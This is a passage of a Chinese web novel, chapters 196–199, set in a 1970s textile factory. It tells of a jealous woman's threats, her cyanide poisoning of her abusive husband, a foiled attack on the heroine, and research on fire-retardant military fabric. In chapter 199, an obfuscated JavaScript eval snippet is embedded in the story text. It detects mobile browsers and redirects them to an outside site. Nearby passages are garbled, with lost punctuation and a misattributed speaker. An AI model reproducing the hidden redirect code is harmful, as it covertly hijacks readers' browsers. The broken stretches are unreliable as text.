林美华眼圈突然红了,她猛地撸起袖子,露出手臂上触目惊心的淤痕。 “你看!这都是何其亮那个畜生打的!自从你们害得他爹丢了位置,他就天天拿我出气……” 陆良辰皱眉看了一眼,后退半步,语气冷漠,眼中连一点心疼和怜惜都看不到。 一直盯着他看的林美华心疼得不得了。 就算自己沦落至此,陆厂长还是对自己一点点感觉都没有嘛? “林美华,这是你的家事,和我无关!还有,何家出事,也不是因为我,而是因为自身立身不正。” 他淡淡地瞥了她一眼,“至于你自己,走到今天这一步,也是咎由自取,你作为老师,不能善待孩子,开除你,已经是最轻的处理!” “哈哈哈!哈哈哈!”林美华神经质地笑了起来,眼泪却止不住地往下掉,“陆良辰,你明明知道……知道我一直……” 她的声音突然低了下来,带着病态的温柔,“从你调来厂里的第一天,我就倾慕于你……” “林美华!”陆良辰厉声喝止,“请你自重!不要逼我打女人!” 林美华被这声呵斥震得浑身一颤。 她突然扯开领口,露出更多伤痕,神情疯狂:“你看看!你看看我现在过的是什么日子!只要你肯帮我调回来,帮我摆脱何其亮那个畜生,我什么都愿意做……我不会和姜海棠争什么,我会一辈子躲在黑暗的地方不会被人发现……” 说着,她就要往陆良辰身上靠,陆良辰迅速后退避开。 “滚!你不要名声,我还要名声,你说的这些话,我只当从来没有听过!”陆良辰远远躲开之后,蹙眉说道:“如果何其亮再打你,可以去妇联举报。” 林美华没想到,自己如此卑微的投怀送抱,都不能让陆良辰多看一眼。 她不光没有反省自己是不是做错了,反而痴痴地望着陆良辰坚毅的侧脸,脸上的喜欢更加浓烈了一些。 “果然是我看中的男人,就是和别的狗男人不一样。陆良辰,我只要跟着你……”她的声音越来越低,“你和姜海棠结婚,我也不在乎,只要让我跟着你……” 第196章 阻燃纤维 陆良辰嫌恶地再次朝后退了好几步,语气坚决:“林美华同志,你结婚了,我也快要结婚了,我没打算让第三个人介入我的婚姻,请你尊重自己也尊重别人。” 这句话像一把锋利的刀子,狠狠地刺进林美华心里。 她的表情瞬间扭曲,眼中满是怨毒:“陆良辰,你竟然这样拒绝我,我会让你后悔的!” 她越说越压低声音,带着恶毒的意味。 “你和姜海棠,都不会有好结果,等着瞧吧,军工项目……” 陆良辰心头一紧,急切地问道:“你什么意思?” 然而,林美华已经转身离去,背影瘦削的像根枯竹,充满了绝望和疯狂。 走出几步,她突然回头,声音轻得像毒蛇吐信:“可要一定要小心啊……” “站住!” 陆良辰正要追上去问个明白,小桃子突然跑过来抱住他的腿。 小桃子带着哭腔说道:“爸爸,我的风筝卡在树上了!” 等陆良辰帮女儿取下风筝,再回头,林美华已经不见踪影。 但她的威胁像根刺,深深地扎在陆良辰心里,让他无法安心。 陆良辰带着小桃子,没有直接回家,而是去找赵凯。 赵凯听陆良辰说完这番话,眉头也紧紧皱起。 “我怀疑,何其亮和林美华会对海棠动手。”陆良辰忧心忡忡地说。 他心里清楚,以林美华现在疯狂的状态,他们对军工项目下手的可能不大,但对姜海棠下手的概率很大。 陆良辰在心里暗暗发誓,绝对不会允许姜海棠出任何问题。 “团长,我安排人保护嫂子。”赵凯严肃地说。 “这事儿不好找保卫科的同志,你联系一下以前部队上退下来,身手好的,工资我这边付。”陆良辰果断地说道。 赵凯点头:“我知道了,团长,您放心,我正好有合适的人选,马上就联系,在人到位之前,暂时让保卫科的人盯两天。” “我也是这个意思。”陆良辰赞同地说。 晚饭时,陆良辰一直心不在焉,眉头紧锁,不时地看着姜海棠,欲言又止。 姜海棠夹了块红烧肉给他,关心地问道:“怎么了?我今天晚上做的饭不好吃?” 陆良辰犹豫片刻,还是决定如实相告:“今天遇到林美华了,她状态不太对劲,说了些疯话……海棠,我担心她可能会对你动手,你最近出门小心点。” 思来想去,他都觉得,林美华现在已经失去了理智,这样的人,做起事来很可能会不计后果。 他承担不起任何可能的风险,只能未雨绸缪,让人先将姜海棠保护起来。 姜海棠放下筷子,神情严肃:“她威胁你了?” “嗯。”陆良辰没有隐瞒,“她提到军工项目,但我觉得,她意有所指,可能想对你动手。” 姜海棠虽然觉得荒谬,可是一个女人如果因为感情偏执,是什么事都能做出来的,姜海棠自己也不会掉以轻心。 “我会小心的!” “我已经对赵凯说了这个情况,赵凯会安排人保护你,这些天,你尽量留在厂里。” 姜海棠答应下来,忽然又想起林美华对自己的怨恨从何而来,嗔怪地瞪了陆良辰一眼。 “看起来,长得太招人也不是好事,陆大厂长,你就是个红颜祸水!” 陆良辰被她逗乐了,紧张的心情也稍稍缓解,他捏了一下她的手说:“又调皮了!” 然而,尽管气氛暂时缓和下来,夜深人静时,姜海棠躺在床上,却怎么也睡不着。 她翻来覆去,脑海中不断浮现出林美华的模样,她一遍遍地说着恶毒和诅咒的话,一种强烈的不安涌上姜海棠的心头,她隐隐觉得,危险似乎正在一步一步逼近。 之后的日子里,她每天的锻炼更加用心了一些,不管有没有人保护,她心里明白,只有自己有保护自己的能力,才是最重要的,才能在未知的危险面前有一战之力。 接下来的几天,姜海棠每天都在家里和实验室两头跑,厂子外面一步都不去。 而陆良辰则正好与姜海棠相反,他每天都找各种理由去厂子外面转悠。 他希望能将那些潜在的危险都吸引到自己身上,好保全姜海棠的安全。 但是,并没有人对他动手,甚至,就算陆良辰十分敏感,也没有感觉到自己周围有任何风险。 这日,陆良辰从外面回来的时候,手里捏着一把野花,递给还在伏案做验算的姜海棠。 “海棠,休息会儿吧,别把自己逼得太紧。” 姜海棠这才从工作中回过神来,揉了揉酸痛的脖子,“你回来了?呀,这么快就天黑了?” 她看向那束淡紫色的野花,心中一暖,没想到陆良辰还能有这样浪漫的时候,虽然只是一些野花,可能想着给女人带野花的男人,确实已经很浪漫了。 她喜滋滋地找了一个玻璃罐头瓶,把野花小心翼翼地插在玻璃瓶里,然后摆在了自己的案头上,歪着脑袋欣赏了好一会儿。 “真漂亮,良辰,谢谢你!” “你喜欢就好。”陆良辰看到姜海棠如此喜欢,心里也愉悦得很。 “我以后出门遇到花就给你采摘回来。” 姜海棠忙说:“那倒是也不用,你一个厂长,成天沾花惹草的,被工人们看到了不好。” 陆良辰没忍住,捏了一下她的脸说:“还不都是为了讨你欢心,还嫌弃我沾花惹草,沾花惹草这个词是这么勇的?” 姜海棠掩嘴笑着,眼底眉间都是柔情,看的陆良辰没忍住,一把将姜海棠抱在怀里,重重的亲了一口。 周一早晨,姜海棠特意提前半小时到厂,直奔谭书记的办公室。 “谭书记,我给您做一个阶段性的汇报。”她简明扼要地说明了小组的研究方向和初步成果。 谭书记作为厂里的党委书记,已经不太管具体的事务,但现在厂里班子还不齐全,得用的人又少,他这个老革命不得不重新冲锋陷阵,负责军工材料的研究工作。 听完汇报后,他摘下老花镜,若有所思地说:“小姜啊,你们这个想法很好。现在国家提倡‘抓革命,促生产’,技术革新正是我们需要的。不过,用新材料代替原有的材料,这个可行吗?” 姜海棠立即保证:“书记,是完全可行的,样品到了之后,我们进行了实验。” 实验比姜海棠预想的还要成功许多。 “这是我们刚才弄到的国外的新型布料,这种布料需要具备防火、耐磨、透气三种特性,或许可以给你们一点启发。”谭书记从抽屉里拿出一个牛皮纸袋递给姜海棠。 姜海棠打开之后,里面是一块军绿色的布料,拿出布料,她用手指轻轻摩挲着表面。 这布料手感特殊,既不像纯棉也不像化纤,经纬线排列紧密却又不失柔软。 她站起身:“谭书记,我们会全力以赴生产出达标的布料。” 晚饭后,照顾小桃子睡下,姜海棠才回到自己屋里,坐在书桌前,拿出那块军工布料研究。 陆良辰端来一杯热水,目光在布料上停留了一瞬,却什么也没说,只是轻轻带上了房门。 接下来的日子,姜海棠全身心扑在军工布料的研究上,虽然谭书记给的只是小小一块布料,但对于姜海棠他们这个研究组来说,无疑是给了一个奋斗的目标和方向。 “传统棉布根本达不到防火要求,”周小梅在第三次实验失败后沮丧地说,“就算用阻燃剂处理,洗几次就失效了。” 姜海棠翻看着实验记录,眉头紧锁,“也许我们该换个思路,从原材料入手,寻找更好的阻燃纤维。” 寻找新的阻燃纤维,并不是一件容易的事,实验室里,姜海棠再次取下一点布料上的纤维开始做实验。 通过一项项的数据对比,姜海棠一点点推进研究,这个过程很缓慢,可是小组里的人都没有放弃,而是全力以赴,付出百分之一百二十的努力。 姜海棠回家的时间也越来越晚。 因为知道有人保护,姜海棠倒是也没担心会遭遇危险,但她又觉得,总这样也不是个事儿。 常言说得好,只有千日做贼的,哪有千日防贼的? 总不能以后的日子,都需要有人保护才能出行吧? 思前想后,姜海棠决定,等这一次的实验告一段落之后,就和陆良辰商量,引蛇出洞。 时间一天天过去,姜海棠和大家一起齐心协力,终于研究出了新型的阻燃纤维。 实验成功的那一刻,实验室里爆发出欢喜的声音。 周小梅激动地抱着姜海棠。 “海棠,姜工,真的太好了,我们成功了,终于成功了。” 姜海棠也长舒一口气,可是,她还是担心,通过实验,确实是成功的,但是这个阻燃纤维真正用于防止之后,也不知道是不是能起到他们预想的作用,还是一个未知之数。 第197章 林美华的疯狂 实验室里欢呼声还未散去,姜海棠已经拿起笔记本开始记录关键数据。 那已经记录了许多数据的笔记本上,又加入了大半页的数据,写完这些数据的时候,姜海棠的指尖微微发抖。 郑明远看到姜海棠红红的眼睛,说道:“休息一下吧!适当的休息,是为了更好的工作。” 姜海棠知道这一点,为了阻火纤维的实验,她已经一天一夜没有合眼了,确实需要回去休息一下。 “还需要确定一下纺织参数,等纺织参数测试完毕,我再休息。”姜海棠摇摇头,灌下半杯浓浓的茶水。 “样品至少需要三天时间,才能织成布料。”却不是因为激动,而是连续三十六小时未合眼的疲惫。 姜海棠稍微坐着休息了几分钟之后,回到了显微镜前,她一边仔仔细细观察镜头,一边说:“你们看,这种晶体排列方式决定了纺纱时张力不能超过……” 又是忙忙碌碌的几个小时之后,最后的测试完成,姜海棠这才回到家里休息。 样品至少要三天后才能完成,这三天,科研小组的人可以轮换休息。 三天之后,样品纺织完成,姜海棠再次回到了工作岗位上。 大家围着新纺织的布料欢笑,实验室门被推开。 谭书记带着走进来,身后跟着个穿军大衣的陌生面孔。 “同志们辛苦了!听说你们取得了技术突破,军区技术处的杨工程师,专门来看望大家!”谭书记红光满面地介绍着。 杨工程师约莫四十岁,左眉上有道疤,不是刀伤,倒好像是流弹划过的伤痕。 姜海棠一看便知道,这是一位上过战场的同志,她心里不由肃然起敬。 他逐一与研究人员握手,轮到姜海棠时问道:“听说你们用国产原料替代了进口阻燃剂?” “是的,杨工,我们改良了水镁石纤维的处理工艺,使它的阻燃性能提升了四倍。完全可以代替进口阻燃剂。” 现在国家困难,外汇更是有限,能节省外汇和能够赚取外汇一样重要。 杨工程师仔细检查数据记录,经过姜海棠的仔细解释之后,连连点头:“这个思路很巧妙。不过……军区更关心的是量产可行性。” 不管实验的时候说得多么好,只要不能实现量产,那就毫无意义。 这个问题正中姜海棠下怀,姜海棠浅浅笑着翻开笔记:“我们已经设计了配套设备改造方案,在现有织机上改装,每台成本不超过两百元,实现量产完全没问题。” 谭书记和杨工程师对视一眼,脸上同时露出惊喜。 这个数字意味着,金城纺织厂完全有能力在三个月内实现小批量生产。 “好!很好!”杨工程师重重拍了下实验台,“我马上向首长汇报!” 送走杨工程师,其他人都盯着姜海棠看。 姜海棠被大家看得不好意思了,不自在地捋了一把头发,说:“你们这么盯着我看什么?” “海棠,你什么时候连设备改造方案都弄出来了?我们可是一点都不知道。” “我本来就擅长机械改造,闲暇时候顺便研究了一下,目前理论上可行,但到底行不行,还得从机械厂请专家来论证才行。” “姜工,你这是在玩命啊。” 姜海棠苦笑着说:“我们已经因为种种原因耽误了许多时间,自然需要加班加点才行。” “况且,马上就是广交会了,今年我们厂里展位多,需要去的人也多,我大概率也是要去的,这些事不提前做,怎么办?” 段长河听了,说:“我们厂里的用的技术人才还是太少了,许多工作的压力都压在了姜工的身上。” 姜海棠叹息一声说:“我们的技术人员确实太少了,不过我相信,国家很快就会关注到这方面的问题,会对当前的政策进行调整。” 元俊峰和常志宴两个人猛地抬头朝着姜海棠看过去。 他们能听懂姜海棠话里的意思,可是那一天真的会到来吗? 他们等这一天已经等了好几年了。 郑明远点头说:“姜工说得对,终究有一天,一切都会好起来,纺织厂以及其他的大厂里,都会有足够的技术人员。到了那时候,才是我们工业真正腾飞的时候。” 姜海棠都怀疑,郑明远是不是已经知道了点儿什么,但显然不是,现在距离拨乱反正还有将近两年的时候。 但两个人如此坚决的话,终究让其他人看到了更多的希望。 姜海棠并不知道,在一处筒子楼,林美华再一次被丈夫何其亮殴打,而她挨打的原因,只是切菜的时候,声音稍微大了一点。 “你这个败家娘们!吵什么吵!还敢给老子耍脾气,看老子不打死你!” 何其亮一边骂骂咧咧,一边抓住林美华的头发,将她的脑袋一次次的砸在门板上。 似乎只有不断地让林美华受罪,他的心里才能好过一样。 “要不是你这个贱人拖累,老子何至于沦落到如此地步?” 其实,何其亮目前也就只是到了边缘部门,比起这世上许许多多的人,过的日子要好上许多。 可他觉得失落,又不认为是自己的问题,只能把所有的罪过都推到林美华身上。 林美华浑身发抖,恐惧不已,可仔细看,她的眼中透出疯狂的光芒。 她攥紧拳头,想着以后再也不要过这样的日子了。 她原本好好的人生,就因为姜海棠毁掉了,她要报仇。 林美华挨打之后,小意奉承着丈夫,又给他倒酒又是给他添菜,将男人伺候的舒舒服服。 只是,男人到死都不知道,林美华在饭菜里下了药,吃下去后,睡着了就再也醒不过来。 这是她从农药厂偷来的氰化物,足够让十头牛毙命,原本,这些药是她为姜海棠准备的,可谁让这个贱男人竟然打她,一次次的打她。 她只是下了一点点,就让这个无缘无故殴打他的男人再也没有办法打人了。 将男人放在床上之后,林美华收拾了碗筷,清洗干净之后,将自己收拾的利利索索走出家门。 下班之后,姜海棠慢悠悠的在路上走,好不容易能轻松一点,她也想好好的享受一次黄昏的安逸。 暮色中,她敏锐地察觉到有脚步声跟在身后。 姜海棠依旧慢悠悠地走着,只当自己没有发现。 拐过锅炉房时,林美华突然从阴影里冲出来,手里寒光一闪! 姜海棠早有准备,一个侧身躲过,顺势抓住对方手腕一拧。 小纸包掉在地上,林美华疯狂地要去抢,却被姜海棠反剪双手按在墙上。 “放开我!”林美华歇斯底里地挣扎,“姜海棠,你这个贱人,毁了我的人生!我要让你陪着我一起死!” “是你自己毁的。承认自己的错误,并不丢人,可怕的是,做错了事不愿意承认,只会找理由。” 姜海棠冷静地说,一双眼睛盯着林美华。 好好的一个人,原本不用走到今天这一步,可她一步错步步错,以至于到了如今,沦落到这个地步。 林美华哪里是姜海棠的对手,她被姜海棠制服之后,直接带到了保卫科。 证据确凿,林美华就算不肯招供也不要紧,只是,让调查人员没有想到的是,林美华的丈夫何其亮居然中毒死了。 出现了人命案,超出厂保卫科的管辖范围了,保卫科的同志将案子移送公安。 经过法医检测,何其亮中的毒和林美华打算给姜海棠下的毒是同一种。 赵凯唏嘘:“这世上还有这么蠢的下毒方式,这是打算抓住姜工,直接喂到她嘴里。” 林美华这个女人,看着也不是个傻子,怎么就会用这样的方式给人下毒呢? “也可能,不是她蠢,而是她觉得时间不够用了,毕竟,她已经杀死了何其亮,很快就会被抓。”陆良辰目光看向远方说。 早知道林美华是个疯子的话,他一定早早将这个隐患处理掉。 海棠和她无冤无仇,可她却一直想害死海棠,就连知道自己肯定要死的时候,也没有放弃拖海棠下水的想法。 可这一切的起源,不过是因为她看上了他,而他没有看上他。 幸好,她被抓进去再也出不来了,要不还不知道海棠要遭遇多少危险呢。 “说起来,这事儿也是因为你,团长,美色误人,看起来,不光是美女,美男也误人啊!”赵凯没忍住调侃道。 陆良辰没好气的瞪了他一眼。 “真是越来越不着调了,早知道,就让你留在保卫科了!” 赵凯忙说:“可别,我好歹现在还能行使一下副厂长的权利,多好。” “你现在工作上没问题了,和康小夏的关系发展到哪一步了?” “我们好着呢,就是她年龄小,要领证还要等,不过,我也不着急,毕竟你这个老大难还没结婚呢。” 陆良辰:…… 好想和他打架怎么办? “哼,我后半年就能结婚了,倒是你,还有得等呢。而且,我和海棠的关系已经定下来了,是未婚夫妻,你呢?” 第198章 摘桃子的人来了 赵凯一手指着陆良辰,另一只手夸张地捂住胸口:“你这是杀人诛心!杀人诛心!!” 明明知道康家人都是见风使舵的主,还拿这事儿戳他软肋,这不是欺负老实人嘛! 白跟了这么多年! 陆良辰往后仰了仰身子,嘴角噙着若有若无的笑意。 两人你一言我一语,像极了斗架的公鸡,倒是让两个人都放松了下来。 直到墙上的老式挂钟发出沉闷的报时声,陆良辰才敛了神色:“说正事儿,李胜利的家人现在是什么情况?” 赵凯收起玩笑,从牛皮文件夹抽出几张纸,油墨未干的字迹泛着蓝光:“反复筛查三遍了,对他们进行了严密的调查,没发现敌特行为。但按规定......” 他顿了顿,“现在的问题是,吴秀云瘫痪在床,李秋兰才十六岁,送去农场怕是......” “留着始终是隐患,这个吴秀云和李秋兰都不是好人。”陆良辰拧紧眉,指节敲打着办公桌,“送到偏远山区的劳改农场,越远越好。” “是!交给我你放心,我肯定办得妥妥的。”赵凯立即保证。 “辛苦你了。”陆良辰说。 “不辛苦,都是小事。我早上去了机械厂,机械厂那边说,织袜机已经批量生产了,问我们什么打算。” “我们最多再扩建一个车间,有七十台机器差不多了。” 两个人正说话的时候,办公室门”吱呀”推开。 姜海棠抱着一摞图纸进来,蓝白条纹工装袖口沾着墨水痕迹。 听到织袜机的讨论,她眼睛一亮:“我倒有个想法......” “什么想法,说来听听。”陆良辰十分有兴趣地问。 海棠每每都能提出十分新鲜的想法,让他十分期待。 “我们可以采取合作的方式,扩大生产规模。” 这个想法,也是这段时间姜海棠在考虑的。 目前纺织厂确实没有办法成立更多的车间,但如果能和可靠的人形成合作关系,将袜子制造承包出去,对于厂子的发展,会有极大的推动作用。 “合作?”陆良辰问。 “就像玩光彩,给我们提供了原始的机械,现在他的袜子机维修好后,我们给他提供了原材料,也收购他的袜子,大概就是这样的运作模式。” 陆良辰摩挲着下巴陷入沉思。 “流程太繁琐,风险不好把控。”他最终摇头否定。 “我们不用管太多,找可靠的人负责就行,比如王良才,咱们提供原料和技术,他负责生产,风险共担。”姜海棠继续说。 王良才上辈子能成为袜子大王,就证明了,这个人在经商方面是有天赋的,只要将这个人好好用起来,绝对能有意外惊喜。 赵凯猛的一拍大腿给姜海棠伸出大拇指。 “嫂子这招高啊!就像给织袜机上了双保险!” “要是你们都觉得可行,可以尝试一下,要是太麻烦,可以找下面县上的小厂承接,无论如何,质量都要能保障。” 赵凯立即点头:“这事儿,我回头仔细研究一下,肯定拿出一个可行的方案来。” “嗯,这件事要弄,但更重要的是今年的广交会,咱们厂未来是吃肉还是喝汤,和这一次的广交会关系莫大。”陆良辰又说。 这是他上任之后的第一届广交会,又有去年秋季广交会那样亮眼的成绩在,凡是有一点做得不好,估计他这个厂长就要被否定了。 “时间足够,我们好好筹划一下,争取今年取得更好的成绩。”姜海棠柔声安抚陆良辰。 陆良辰点头:“我相信,只是,海棠,我不希望你如此辛苦,这段时间,你连轴转……” 姜海棠制止了陆良辰接下来的话,笑道:“这算什么啊,吃得饱穿得暖,干活累不死人,再说,我不是已经好好休息了。” “厂里目前的情况,这次广交会,我大概没有办法去,我想让赵凯带队去,你们觉得呢?” 这个想法,只是陆良辰初步的想法。 这几个月,厂里的人事变动太大,加上情况并不是很稳定,陆良辰确实不敢轻易离开。 赵凯手里的搪瓷缸差点摔在地上,滚烫的茶水溅出来,在水泥地上洇出深色痕迹。 “这……”他涨红着脸,“我怕” 赵凯没想到哦,陆良辰会将这么重要的担子压在自己身上。 “怕了?”陆良辰笑着问:“你小子不该这么胆小啊!” “这不是这事儿我没干过,怕干不好么。搞砸了,辜负您信任我会愧疚一辈子。” “不用担心,海棠会和你一起去,而且,我们还可以和机械厂那边联合,问题不大。” “别忘了你在部队待过,这点阵仗还能难住你?”看赵凯还有迟疑,陆良辰又说。 事情定下之后,各自回家。 回到家,姜海棠才问:“你这次不去广交会,除了咱们厂的原因,是不是还有其他原因?” 陆良辰没有立即回答。 他走到窗前,望着窗外,但姜海棠觉得,他看的不是窗外的小院,而是更加广阔的地方。 “海棠,你知道为什么上级这么急着要这种防火防潮的布料吗?西南边境又紧张了,我们的战士在潮湿的猫耳洞里,很多人得了严重的皮肤病……”他的声音异常平静。 可姜海棠能听出来,他的内心极度的不平静。 “再给我们几个月时间,会生产出来的。” “那边局势现在趋于恶化,我们必须要随时准备着,这一次,我不去广交会,也是上面领导的意思。” 姜海棠听出了陆良辰话里的意思。 “你不是已经退役了吗?”她紧张地问。 “我是退役了,但一旦发生大规模的战争,不排除召回的可能。” 姜海棠沉默了一会儿,坚定地说道:“不管你要做什么,我都支持你,并且,为你做好后勤保障。” “我相信,不管是工业生产,还是别的,我们都能成功!” 陆良辰转头看她,灯光勾勒出她倔强的侧脸线条。 他轻轻将她揽入怀中,在她额头上印下一个吻。 “我知道你会。”他低声说,“因为你是姜海棠,那个百折不屈的姑娘。” 第二天的实验室格外安静,只有仪器运转的轻微嗡鸣。 姜海棠专注地记录着数据,其他人各司其职,井然有序地忙碌着。 突然,实验室的木门被推开。 一个穿着笔挺中山装的中年男子站在门口,这个男子身后跟着几个戴眼镜的技术员模样的人。 有点眼生,姜海棠蹙眉。 “这是咱们省轻工局技术处的马处长,你们这里谁负责?”随行人员的声音打破沉默。 姜海棠抬头,正对上马处长镜片后挑剔的目光。 那人笔挺的中山装浆洗得过分僵硬,胸前口袋露出半截进口钢笔,在日光灯下泛着冷光。 姜海棠立即开始思索,马处长是何许人。 好像之前听谁提起过,省轻工局有个出了名的崇洋派,好像就姓马,莫非,就是眼前这个人? “马处长,我们没有提前准备,有点乱,可能不太方便您参观。” 姜海棠强压着不悦,上前握手,却没有邀请马处长进门的准备。 她开口的同时,已经给黎景程使了一个眼色,那意思就是让黎景程借机搬救兵的意思。 马处长却没有伸手的意思,只是用挑剔的目光扫视着实验室。 “你就是这里的负责人,还是个女同志呢。不是我看不起女同志,但这种高精尖项目,还是应该交给专业团队。”他指了指身后的人,“这些都是留苏回来的专家,不如……” 姜海棠瞬间明白了这些人的意思,这是来摘桃子了。 她面上没有表露出不悦,依旧保持温婉的笑。 “马处长,按规定,外来人员参观项目需要军区出证明。”她语调平稳,却透着不容置疑的坚定。 马处长十分不悦:“让我们的同志进去,主导你们这个项目,不是来参观。” “请问马处长,你们的同志有公函吗,或者有调到我们纺织厂的调令吗?” 公函?调令? 马处长和他带着的几个人都一愣。 “要什么公函调令的!你别忘了,你们纺织厂,可是归属我们轻工局管的。”马处长的脸涨成猪肝色,中山装的纽扣几乎要被他起伏的胸膛崩开。 “真不好意思,马处长,我们纺织厂确实是归口你们轻工局管的,但这个项目,所有参与人员,都有文件,你们的专家要参与进来,必须要有军区的文件。” 言下之意,轻工局说了也不算! “你这是违抗上级指示!” 他身后的“专家”们交头接耳,有人已经掏出笔记本准备记录。 “我们严格遵守保密条例。”姜海棠从文件柜取出一叠红头文件,纸页翻动间,军区大印鲜红如血,“如果马处长有相关文件,我们自然全力配合。” 姜海棠不卑不亢的说道,一点都没有害怕得罪人。 “你放肆!” “马处长,您可不能冤枉我们,我们没有放肆的意思,不过是就事论事请您和其他专家同志拿出公函而已。” 姜海棠一点都不肯让,可是脸上依然是得体的微笑,让马处长窝火到不行。 “你无组织无纪律,我要给领导打报告,你这样的同志,不适合留在纺织厂。”马处长气急败坏的说。 第199章 白泥 马处长的话音刚落,实验室外传来一阵沉稳的脚步声传来。 “马处长好大的官威啊。 “陆厂长?马处长一惊,不是说,今天陆厂长去开会了,不在厂里吗? 陆良辰一点都没有和马处长寒暄的想法,单刀直入的开口。 “我竟不知道,什么时候轻工局能直接插手军区特批项目的人事安排了? 姜海棠回头,看到陆良辰一身藏蓝色中山装,端得挺拔帅气,他手里拿着一份文件,身后跟着两名穿着军装的同志。 阳光从他背后照进来,在地上投下一道长长的影子。 被抓了现行的马处长的表情瞬间凝固,额头渗出细密的汗珠。 “陆、陆厂长,您误会了…… “误会?陆良辰冷哼一声,走到姜海棠身边,将文件递给她,多余连一个眼神都没给马处长。 “对,误会了,我们没有要插手军区特批项目的意思! “海棠,这是军区后勤部刚发来的加急电报,对我们的研发进度表示关切。 姜海棠听到陆良辰这话,脸上都是欣喜。 陆良辰目光转向马处长,眼神锐利如刀。 “马处长若有什么指导意见,不妨直接向赵卫国师长反映? 马处长身后的“专家们闻言,脸色都变了。 赵卫国是出了名的铁血将领,最厌恶官僚主义作风。 光是一个陆良辰都应付不了,就别说去找赵卫国了。 他们今天原本想的是,趁着陆良辰不在,先斩后奏,造成既定事实,到时候,陆良辰只能捏着鼻子认下。 可现在陆良辰在厂里,他们还能怎么办? “不、不用了……马处长掏出手帕擦了擦汗,“我们只是例行检查…… “检查需要带这么多‘专家’?陆良辰的声音依旧很冷。 “刚才马处长可不是这么说的,马处长好像是说,不是我看不起女同志,但这种高精尖项目,还是应该交给专业团队,这些都是留苏回来的专家,不如交给他们主导! 马处长哪里知道,这个女同志一点面子都不给他们留,把他的原话说出来了。 “误会,误会,就是开个玩笑!马处长虽然心里憋屈,但也只能赔笑说。 姜海棠不搭理他,翻开陆良辰给她的文件,突然眼睛一亮。 “正好,马处长,军区要求我们三天内提交阶段性报告,您既然带了专家 来不如帮我们审核一下技术参数?” 她这一招以退为进让马处长进退两难。答应吧他们根本不懂这项技术。拒绝吧又显得心虚。 “这……我们还有其他安排……”马处长支吾着目光闪烁根本不敢接下这个挑战。 “那真是太遗憾了。”陆良辰接过话头语气忽然亲切起来“对了马处长省机械厂那边昨天还跟我提起说想招几个懂俄语的技术员您儿子好像也报名了……” 马处长的表情立刻变了。 他也是混了许多年的人精了怎么可能不明白这话里话外都是威胁的意思? 偏偏陆良辰的威胁他没有办法反击轻工局管不了机械厂而机械厂现在和纺织厂在蜜月期关系那叫一个好。 陆良辰想使坏还真很容易。 “陆厂长和机械厂那边关系很好?” “也就一般吧花花轿子人抬人互相给面子罢了。”陆良辰轻描淡写地说同时意味深长地看了马处长一眼“这年头年轻人有个好工作不容易啊。” 姜海棠差点笑出声。 她太了解陆良辰了——这分明是在暗示:你敢捣乱我就让你儿子没好工作! 要是找不到工作那就只能去下乡想来马厂长不可能愿意看到这种情况。 马处长果然被拿捏住了态度立刻软了下来。 “陆厂长说得对 他转身对随行人员使了个眼色”走吧去下一个单位。” 跟着马处长的几个人一脸懵他们今天就是冲着纺织厂的项目来的没听说还有下一个单位啊! 有人想问被马处长一个恶狠狠的眼神给制止了。 一行人走的时候比来的时候速度更快就像是后面跟着狼在撵他们一样。 等马处长一行人灰溜溜地离开实验室里爆发出压抑已久的笑声。 “陆厂长您太厉害了!”周小梅崇拜地说“那个马处长脸都绿了!” 陆良辰却收敛了笑容神色凝重。 “事情没那么简单。”他压低声音对姜海棠说“我刚接到消息有人向省里举报我们项目组‘浪费国家资源’马处长不过是来探路的。” 姜海棠心头一紧下意识地想到一个可能。 “是冲着你来的?” “或许还不止。”陆良辰摇摇头“也有可能是冲着整个项目有些人不想看到我们成功。 ” 当天晚上,姜海棠和陆良辰在办公室里挑灯夜战,准备军区要求的报告。 这份报告早点准备好,由军区出面协调是最好的。 两个人忙到了大半夜,总算将报告准备好了。 第二日,姜海棠早早地来到了实验室,既然有人不愿意看到他们成功,他们只能拼命压缩时间,争取在有限的时间内,研究出最符合要求的布料。 “你看这里。”姜海棠指着一段实验数据,“用松香和橡胶混合的处理方法,防水性能提升了40%,但防火效果却下降了。” 郑明远凑过来,两个人盯着实验数据研究了半天。 “会不会是比例问题?” “我试过三种比例了。”姜海棠苦恼地揉着太阳穴,“每次都是顾此失彼。” 郑明远突然站起身,说道:“我去找个人,或许能解决,这两天我先不过来了。” 姜海棠知道,郑明远是有非常大的能量的人,因此,尊重郑明远。 果然,两天之后,郑明远再回来的时候,带了一个牛皮纸包着的小本子。 “姜工,看看这个。” 姜海棠翻开泛黄的笔记本,里面密密麻麻记录着各种化学公式和实验数据。“这是……” “这是我叔叔留下来的,他当年研究过类似的问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853287|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜海棠惊讶的抬头。 他们在一起工作这些天,郑明远很少提及自己家里人。 “您叔叔……” “他牺牲了,这份记录,一直在我堂妹的手里。”陆良辰简短地说,手指轻轻抚过纸页上的字迹,“我叔叔说,抗美援朝战争,战士们穿着单薄的棉衣在零下四十度的雪地里作战……他要研究出最好的保暖布料……” 郑明远说的时候,声音微微有些哽咽。 姜海棠没有开口说话,这种时候,所有的安慰都是苍白无力的。 好在,郑明远自己调整得也很快,片刻之后,已经趋于平静。 “第十八页,他提到用一种叫‘白泥’的矿物粉末做添加剂。” 姜海棠赶紧翻到那一页,果然发现一段关于某种白色黏土能同时增强布料防水性和防火性的记载。 “这种‘白泥’……” “应该就是高岭土。”郑明远已经恢复了平静,“我已经委托我的同事们去查了,看看哪里有这种矿。” 姜海棠突然想起什么,从抽屉里翻出一封信。 “桑榆县清水沟后山就有这种白泥!我记得以前村里人用 它补锅,火烧不坏,水泡不烂!” 两人对视一眼,都看到了对方眼中的兴奋。 郑明远也没想到,得来全不费工夫。 “我立即向陆厂长汇报,明天就回清水沟取样!”姜海棠迫不及待地说。 “不行。” 陆良辰正好走进实验室听到姜海棠这一句话,立即摇头制止。 “良辰,清水沟而已,我能应付。” 